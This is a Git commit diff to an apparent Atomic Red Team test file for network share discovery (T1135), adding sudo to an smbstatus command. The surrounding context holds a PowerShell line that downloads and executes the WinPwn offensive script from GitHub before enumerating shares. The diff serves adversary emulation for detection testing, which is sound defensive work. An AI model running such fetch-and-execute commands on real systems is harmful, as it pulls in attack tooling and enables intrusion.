Update T1135-2 (#2021)

Run smbstatus with sudo

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
This commit is contained in:
Dan
2022-07-01 22:42:09 -04:00
committed by GitHub
parent 266cafe4ae
commit b1f18f38ff
+2 -2
View File
@@ -43,7 +43,7 @@ atomic_tests:
sudo #{package_installer}
executor:
command: |
smbstatus --shares
sudo smbstatus --shares
name: bash
elevation_required: true
- name: Network Share Discovery command prompt
@@ -131,4 +131,4 @@ atomic_tests:
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
shareenumeration -noninteractive -consoleoutput
name: powershell
name: powershell